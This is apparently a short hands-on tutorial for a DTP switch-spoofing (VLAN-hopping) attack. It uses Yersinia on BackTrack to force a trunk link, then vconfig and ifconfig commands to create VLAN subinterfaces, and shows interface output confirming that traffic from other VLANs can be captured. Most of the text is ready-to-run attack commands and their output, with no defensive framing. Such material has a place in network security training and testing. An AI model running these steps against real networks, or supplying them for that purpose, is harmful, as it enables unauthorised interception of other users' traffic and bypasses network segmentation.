DTP Attack
To start DTP attack open Yersinia in Backtrack
root@bt:~# yersinia -G (Grafic interface)
Click "Lunch Attack" and select DTP protocol
in menu choose "Enabling Trunking" and click OK
Before
After
Now we can recive traffic from any VLAN.
Make different interfacec per VLAN
Start 802.1q Encapsulation
root@bt:~# modprobe 8021q
root@bt:~# vconfig add eth0 101 (Where 101 is VLAN 101)
root@bt:~# vconfig add eth0 102 (Where 102 is VLAN 102)
Note: Its create Subinterfaces eth0.101,eth0.102
Set IP address for VLAN
root@bt:~# ifconfig eth0.101 10.0.101.111 netmask 255.255.255.0
root@bt:~# ifconfig eth0.102 10.0.102.111 netmask 255.255.255.0
Configure Default GW
root@bt:~# route add default gw 10.0.102.3
Check interfaces
root@bt:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:21:85:96:10:4d
inet addr:10.0.10.111 Bcast:10.0.10.255 Mask:255.255.255.0
inet6 addr: fe80::221:85ff:fe96:104d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2798550 errors:0 dropped:1828 overruns:0 frame:0
TX packets:6565 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:224944578 (224.9 MB) TX bytes:694407 (694.4 KB)
Interrupt:42 Base address:0x6000
eth0.101 Link encap:Ethernet HWaddr 00:21:85:96:10:4d
inet addr:10.0.101.111 Bcast:10.0.101.255 Mask:255.255.255.0
inet6 addr: fe80::221:85ff:fe96:104d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2779 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:146312 (146.3 KB) TX bytes:468 (468.0 B)
eth0.102 Link encap:Ethernet HWaddr 00:21:85:96:10:4d
inet addr:10.0.102.111 Bcast:10.0.102.255 Mask:255.255.255.0
inet6 addr: fe80::221:85ff:fe96:104d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3506 errors:0 dropped:0 overruns:0 frame:0
TX packets:547 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:514881 (514.8 KB) TX bytes:42753 (42.7 KB)
Now We can Capture different VLAN traffic.